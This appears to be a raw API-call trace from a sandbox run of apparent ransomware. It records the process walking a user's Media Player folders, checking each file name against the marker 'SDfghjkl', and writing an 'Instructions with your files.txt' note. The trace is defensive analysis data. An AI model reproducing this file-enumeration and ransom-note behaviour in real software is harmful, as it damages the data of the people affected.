[0130.549] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2cf33a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2cf33a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1106c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalMLS_3.wmdb", cAlternateFileName="LOCALM~1.WMD")) returned 1
[0130.549] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb") returned 86
[0130.549] StrStrIW (lpFirst="LocalMLS_3.wmdb", lpSrch="SDfghjkl") returned 0x0
[0130.549] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 1
[0130.549] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists") returned 85
[0130.550] GetProcessHeap () returned 0x810000
[0130.550] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0130.550] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*") returned 87
[0130.550] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.550] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\.") returned 87
[0130.550] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.550] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\..") returned 88
[0130.550] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
[0130.550] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US") returned 91
[0130.550] GetProcessHeap () returned 0x810000
[0130.550] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0130.551] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*") returned 93
[0130.551] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.552] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\.") returned 93
[0130.552] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.552] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\..") returned 94
[0130.552] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0000E713", cAlternateFileName="")) returned 1
[0130.552] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713") returned 100
[0130.552] GetProcessHeap () returned 0x810000
[0130.552] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.552] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\*") returned 102
[0130.552] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.554] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\.") returned 102
[0130.554] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.554] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\..") returned 103
[0130.554] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl", cAlternateFileName="01_MUS~1.WPL")) returned 1
[0130.555] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl") returned 135
[0130.555] StrStrIW (lpFirst="01_Music_auto_rated_at_5_stars.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.555] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="02_Music_added_in_the_last_month.wpl", cAlternateFileName="02_MUS~1.WPL")) returned 1
[0130.555] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl") returned 137
[0130.555] StrStrIW (lpFirst="02_Music_added_in_the_last_month.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.555] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x4f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="03_Music_rated_at_4_or_5_stars.wpl", cAlternateFileName="03_MUS~1.WPL")) returned 1
[0130.555] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl") returned 135
[0130.555] StrStrIW (lpFirst="03_Music_rated_at_4_or_5_stars.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.555] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="04_Music_played_in_the_last_month.wpl", cAlternateFileName="04_MUS~1.WPL")) returned 1
[0130.555] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl") returned 138
[0130.555] StrStrIW (lpFirst="04_Music_played_in_the_last_month.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.555] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x0, dwReserved1=0x0, cFileName="05_Pictures_taken_in_the_last_month.wpl", cAlternateFileName="05_PIC~1.WPL")) returned 1
[0130.555] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl") returned 140
[0130.555] StrStrIW (lpFirst="05_Pictures_taken_in_the_last_month.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.555] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x0, dwReserved1=0x0, cFileName="06_Pictures_rated_4_or_5_stars.wpl", cAlternateFileName="06_PIC~1.WPL")) returned 1
[0130.555] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl") returned 135
[0130.555] StrStrIW (lpFirst="06_Pictures_rated_4_or_5_stars.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.555] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="07_TV_recorded_in_the_last_week.wpl", cAlternateFileName="07_TV_~1.WPL")) returned 1
[0130.555] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl") returned 136
[0130.555] StrStrIW (lpFirst="07_TV_recorded_in_the_last_week.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.555] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="08_Video_rated_at_4_or_5_stars.wpl", cAlternateFileName="08_VID~1.WPL")) returned 1
[0130.555] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl") returned 135
[0130.555] StrStrIW (lpFirst="08_Video_rated_at_4_or_5_stars.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.555] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="09_Music_played_the_most.wpl", cAlternateFileName="09_MUS~1.WPL")) returned 1
[0130.555] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl") returned 129
[0130.555] StrStrIW (lpFirst="09_Music_played_the_most.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.555] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x427, dwReserved0=0x0, dwReserved1=0x0, cFileName="10_All_Music.wpl", cAlternateFileName="10_ALL~1.WPL")) returned 1
[0130.555] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl") returned 117
[0130.555] StrStrIW (lpFirst="10_All_Music.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.555] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="11_All_Pictures.wpl", cAlternateFileName="11_ALL~1.WPL")) returned 1
[0130.555] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl") returned 120
[0130.555] StrStrIW (lpFirst="11_All_Pictures.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.555] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x0, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 1
[0130.556] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl") returned 117
[0130.556] StrStrIW (lpFirst="12_All_Video.wpl", lpSrch="SDfghjkl") returned 0x0
[0130.556] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x0, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 0
[0130.556] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\Instructions with your files.txt") returned 133
[0130.556] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.556] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.557] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.557] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.557] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.557] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.557] CloseHandle (hObject=0x124) returned 1
[0130.557] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.557] GetProcessHeap () returned 0x810000
[0130.557] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.557] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="00010C6E", cAlternateFileName="")) returned 1
[0130.557] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E") returned 100
[0130.557] GetProcessHeap () returned 0x810000
[0130.557] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.558] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*") returned 102
[0130.558] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
